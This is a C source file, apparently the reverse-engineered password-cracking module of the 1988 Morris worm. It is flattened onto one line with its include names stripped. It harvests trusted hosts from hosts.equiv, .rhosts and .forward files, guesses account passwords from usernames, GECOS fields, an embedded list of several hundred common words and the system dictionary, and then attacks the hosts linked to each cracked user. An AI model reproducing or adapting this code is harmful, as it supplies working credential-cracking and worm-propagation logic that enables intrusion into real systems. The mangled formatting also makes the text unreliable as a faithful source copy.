/* Dover */ #include "worm.h" #include #include #include #include int cmode; extern struct hst *h_name2host(); struct usr { /* sizeof(usr) == 58 */ char *name, *o4, *o8, *o12; char passwd[14]; /* offset 16 */ char decoded_passwd[14]; /* 30 */ short pad; char *homedir; /* offset 46 */ char *gecos; /* offset 50 */ struct usr *next; /* offset 54 */ }; /* Ahhh, I just love these names. Don't change them for anything. */ static struct usr *x27f28, *x27f2c; /* Crack some passwords. */ cracksome() { switch (cmode){ case 0: strat_0(); return; /* 88 */ case 1: strat_1(); return; case 2: try_words(); return; case 3: dict_words(); return; } } /* Strategy 0, look through /etc/hosts.equiv, and /.rhost for new hosts */ strat_0() /* 0x5da4 */ { FILE *hosteq; char scanbuf[512]; char fwd_buf[256]; char *fwd_host; char getbuf[256]; struct passwd *pwent; char local[20]; struct usr *user; struct hst *host; /* 1048 */ int check_other_cnt; /* 1052 */ static struct usr *user_list = NULL; hosteq = fopen(XS("/etc/hosts.equiv"), XS("r")); if (hosteq != NULL) { /* 292 */ while (fscanf(hosteq, XS("%.100s"), scanbuf)) { host = h_name2host(scanbuf, 0); if (host == 0) { host = h_name2host(scanbuf, 1); getaddrs(host); } if (host->o48[0] == 0) /* 158 */ continue; host->flag |= 8; } fclose(hosteq); /* 280 */ } hosteq = fopen(XS("/.rhosts"), XS("r")); if (hosteq != NULL) { /* 516 */ while (fgets(getbuf, sizeof(getbuf), hosteq)) { /* 344,504 */ if (sscanf(getbuf, XS("%s"), scanbuf) != 1) continue; host = h_name2host(scanbuf, 0); while (host == 0) { /* 436, 474 */ host = h_name2host(scanbuf, 1); getaddrs(host); } if (host->o48[0] == 0) continue; host->flag |= 8; } fclose(hosteq); } /* look through the passwd file, checking for contact with others every * tenth entry. */ setpwent(); check_other_cnt = 0; /* 522 */ while ((pwent = getpwent()) != 0) { /* 526, 1124 */ if ((check_other_cnt % 10) == 0) other_sleep(0); check_other_cnt++; sprintf(fwd_buf, XS("%.200s/.forward"), pwent->pw_dir); hosteq = fopen(fwd_buf, XS("r")); if (hosteq != NULL) { /* 834 */ while (fgets(scanbuf, sizeof(scanbuf), hosteq)) { /* 650,822 */ /* Punt the newline */ (&scanbuf[strlen(scanbuf)])[-1] = '\0'; fwd_host = index(scanbuf, '@'); if (fwd_host == NULL) continue; host = h_name2host(++fwd_host, 0); if (host == NULL) { host = h_name2host(fwd_host, 1); getaddrs(host); } if (host->o48[0] == 0) continue; host->flag |= 8; } fclose(hosteq); } /* Don't do foreign or compilcated hosts */ if (strlen(host->hostname) > 11) continue; user = (struct usr *)malloc(sizeof(struct usr)); strcpy(user->name, pwent->pw_name); strcpy(&user->passwd[0], XS("x")); user->decoded_passwd[0] = '\0'; user->homedir = strcpy(malloc(strlen(pwent->pw_dir)+1), pwent->pw_dir); user->gecos = strcpy(malloc(strlen(pwent->pw_gecos)+1), pwent->pw_gecos ); user->next = user_list; user_list = user; } endpwent(); cmode = 1; x27f2c = user_list; return; } /* Check for 'username', 'usernameusername' and 'emanresu' as passwds. */ static strat_1() /* 0x61ca */ { int cnt; char usrname[50], buf[50]; for (cnt = 0; x27f2c && cnt < 50; x27f2c = x27f2c->next) { /* 1740 */ /* Every tenth time look for "me mates" */ if ((cnt % 10) == 0) other_sleep(0); /* Check for no passwd */ if (try_passwd(x27f2c, XS(""))) /* other_fd+84 */ continue; /* 1722 */ /* If the passwd is something like "*" punt matching it. */ if (strlen(x27f2c->passwd) != 13) continue; strncpy(usrname, x27f2c, sizeof(usrname)-1); usrname[sizeof(usrname)-1] = '\0'; if (try_passwd(x27f2c, usrname)) continue; sprintf(buf, XS("%.20s%.20s"), usrname, usrname); if (try_passwd(x27f2c, buf)) continue; /* 1722 */ sscanf(x27f2c->gecos, XS("%[^ ,]"), buf); if (isupper(buf[0])) buf[0] = tolower(buf[0]); if (strlen(buf) > 3 && try_passwd(x27f2c, buf)) continue; buf[0] = '\0'; sscanf(x27f2c->gecos, XS("%*s %[^ ,]s"), buf); if (isupper(buf[0])) buf[0] = tolower(buf[0]); if (strlen(buf) > 3 && index(buf, ',') == NULL && try_passwd(x27f2c, buf)) continue; reverse_str(usrname, buf); if (try_passwd(x27f2c, buf)) ; } if (x27f2c == 0) cmode = 2; return; } static reverse_str(str1, str2) /* x642a */ char *str1, *str2; { int length, i; length = strlen(str1); for(i = 0; i < length; i++) str2[i] = (&str1[length-i]) [-1]; str2[length] = '\0'; return; } static try_passwd(user, str) /* 0x6484, unchecked */ struct usr *user; char *str; { if (strcmp(user->passwd, crypt(str, user->passwd)) == 0 || (str[0] == '\0' && user->passwd == '\0')) { strncpy(user->decoded_passwd, str, sizeof(user->decoded_passwd)); user->decoded_passwd[sizeof(user->decoded_passwd)-1] = '\0'; attack_user(user); return 1; } return 0; } /* Collect hostnames and run hueristic #1 for this user's .forward and .rhosts */ /* This is only called from try_passwd() */ static attack_user(user) /* 0x6514 */ struct usr *user; { FILE *fwd_fp; char buf[512], *hostpart; /* l516 */ char rhbuf[256]; /* l776 */ char l1288[512]; struct hst *host; /* l1292 */ sprintf(buf, XS("%.200s/.forward"), user->homedir); /* */ fwd_fp = fopen(buf, XS("r")); if (fwd_fp) { while (fgets(buf, sizeof(buf), fwd_fp)) { /* 2088,2222 */ /* Punt the newline */ buf[strlen(buf) - 1] = '\0'; hostpart = index(buf, '@'); /* If no hostname, it's not foreign so ignore it. */ if (hostpart == NULL) continue; /* Split username and hostname */ *hostpart++ = '\0'; /* Here there appears to be a bug!!! It works correctly * by coincidence of pushing things on the stack. */ #ifndef FIX_BUGS host = h_name2host(hostpart, 1); hu1(user, host, buf); #else /* original */ /* 'hu1' should have another argument */ hu1(user, (host = h_name2host(hostpart, 1, buf))); #endif } fclose(fwd_fp); } sprintf(buf, XS("%.200s/.rhosts"), user->homedir); fwd_fp = fopen(buf, XS("r")); if (fwd_fp) { /* 2446 */ while (fgets(rhbuf, sizeof(rhbuf), fwd_fp)) { /* 2312,2434 */ l1288[0] = '\0'; if (sscanf(rhbuf, XS("%s%s"), buf, l1288) < 1) continue; host = h_name2host(buf, 1); hu1(user, host, l1288); } fclose(fwd_fp); } return; } /* This array in the sun binary was camaflouged by having the high-order bit set in every char. */ char *wds[] = /* 0x21a74 */ { "academia", "aerobics", "airplane", "albany", "albatross", "albert", "alex", "alexander", "algebra", "aliases", "alphabet", "amorphous", "analog", "anchor", "andromache", "animals", "answer", "anthropogenic", "anvils", "anything", "aria", "ariadne", "arrow", "arthur", "athena", "atmosphere", "aztecs", "azure", "bacchus", "bailey", "banana", "bananas", "bandit", "banks", "barber", "baritone", "bass", "bassoon", "batman", "beater", "beauty", "beethoven", "beloved", "benz", "beowulf", "berkeley", "berliner", "beryl", "beverly", "bicameral", "brenda", "brian", "bridget", "broadway", "bumbling", "burgess", "campanile", "cantor", "cardinal", "carmen", "carolina", "caroline", "cascades", "castle", "cayuga", "celtics", "cerulean", "change", "charles", "charming", "charon", "chester", "cigar", "classic", "clusters", "coffee", "coke", "collins", "commrades", "computer", "condo", "cookie", "cooper", "cornelius", "couscous", "creation", "creosote", "cretin", "daemon", "dancer", "daniel", "danny", "dave", "december", "defoe", "deluge", "desperate", "develop", "dieter", "digital", "discovery", "disney", "drought", "duncan", "eager", "easier", "edges", "edinburgh", "edwin", "edwina", "egghead", "eiderdown", "eileen", "einstein", "elephant", "elizabeth", "ellen", "emerald", "engine", "engineer", "enterprise", "enzyme", "ersatz", "establish", "estate", "euclid", "evelyn", "extension", "fairway", "felicia", "fender", "fermat", "fidelity", "finite", "fishers", "flakes", "float", "flower", "flowers", "foolproof", "football", "foresight", "format", "forsythe", "fourier", "fred", "friend", "frighten", "fungible", "gabriel", "gardner", "garfield", "gauss", "george", "gertrude", "ginger", "glacier", "golfer", "gorgeous", "gorges", "gosling", "gouge", "graham", "gryphon", "guest", "guitar", "gumption", "guntis", "hacker", "hamlet", "handily", "happening", "harmony", "harold", "harvey", "hebrides", "heinlein", "hello", "help", "herbert", "hiawatha", "hibernia", "honey", "horse", "horus", "hutchins", "imbroglio", "imperial", "include", "ingres", "inna", "innocuous", "irishman", "isis", "japan", "jessica", "jester", "jixian", "johnny", "joseph", "joshua", "judith", "juggle", "julia", "kathleen", "kermit", "kernel", "kirkland", "knight", "ladle", "lambda", "lamination", "larkin", "larry", "lazarus", "lebesgue", "leland", "leroy", "lewis", "light", "lisa", "louis", "lynne", "macintosh", "mack", "maggot", "magic", "malcolm", "mark", "markus", "marty", "marvin", "master", "maurice", "mellon", "merlin", "mets", "michael", "michelle", "mike", "minimum", "minsky", "moguls", "moose", "morley", "mozart", "nancy", "napoleon", "nepenthe", "ness", "network", "newton", "next", "noxious", "nutrition", "nyquist", "oceanography", "ocelot", "olivetti", "olivia", "oracle", "orca", "orwell", "osiris", "outlaw", "oxford", "pacific", "painless", "pakistan", "papers", "password", "patricia", "penguin", "peoria", "percolate", "persimmon", "persona", "pete", "peter", "philip", "phoenix", "pierre", "pizza", "plover", "plymouth", "polynomial", "pondering", "pork", "poster", "praise", "precious", "prelude", "prince", "princeton", "protect", "protozoa", "pumpkin", "puneet", "puppet", "rabbit", "rachmaninoff", "rainbow", "raindrop", "raleigh", "random", "rascal", "really", "rebecca", "remote", "rick", "ripple", "robotics", "rochester", "rolex", "romano", "ronald", "rosebud", "rosemary", "roses", "ruben", "rules", "ruth", "saxon", "scamper", "scheme", "scott", "scotty", "secret", "sensor", "serenity", "sharks", "sharon", "sheffield", "sheldon", "shiva", "shivers", "shuttle", "signature", "simon", "simple", "singer", "single", "smile", "smiles", "smooch", "smother", "snatch", "snoopy", "soap", "socrates", "sossina", "sparrows", "spit", "spring", "springer", "squires", "strangle", "stratford", "stuttgart", "subway", "success", "summer", "super", "superstage", "support", "supported", "surfer", "suzanne", "swearer", "symmetry", "tangerine", "tape", "target", "tarragon", "taylor", "telephone", "temptation", "thailand", "tiger", "toggle", "tomato", "topography", "tortoise", "toyota", "trails", "trivial", "trombone", "tubas", "tuttle", "umesh", "unhappy", "unicorn", "unknown", "urchin", "utility", "vasant", "vertigo", "vicky", "village", "virginia", "warren", "water", "weenie", "whatnot", "whiting", "whitney", "will", "william", "williamsburg", "willie", "winston", "wisconsin", "wizard", "wombat", "woodwind", "wormwood", "yacov", "yang", "yellowstone", "yosemite", "zimmerman", 0 }; int nextw = 0; /* 0x24868 */ /* Try a list of potential passwds for each user. */ static try_words() /* 0x66da */ { struct usr *user; int i, j; if (wds[nextw] == 0) { cmode++; return; /* 2724 */ } if (nextw == 0) { /* 2550 */ for (i = 0; wds[i]; i++) ; permute(wds, i, sizeof(wds[0])); } for (j = 0; wds[nextw][j] != '\0'; j++) wds[nextw][j] &= 0x7f; for (user = x27f28; user; user = user->next) try_passwd(user, wds[nextw]); for (j = 0; wds[nextw][j]; j++) /* 2664,2718 */ wds[nextw][j] |= 0x80; nextw += 1; return; } /* Called only from the cracksome() dispatch loop. Tries a single word from th e * dictionary, downcasing if capitalized and trying again. */ static dict_words() /* 0x67f0 */ { char buf[512]; struct usr *user; static FILE *x27f30; if (x27f30 != NULL) { x27f30 = fopen(XS("/usr/dict/words"), XS("r")); if (x27f30 == NULL) return; } if (fgets(buf, sizeof(buf), x27f30) == 0) { /* 2808,2846 */ cmode++; return; } (&buf[strlen(buf)])[-1] = '\0'; for (user = x27f28; user; user = user->next) /* 2910 */ try_passwd(user, buf); if (!isupper(buf[0])) return; buf[0] = tolower(buf[0]); for (user = x27f28; user; user = user->next) try_passwd(user, buf); return; /* 2988 */ } /* * Local variables: * comment-column: 48 * compile-command: "cc -S cracksome.c" * End: */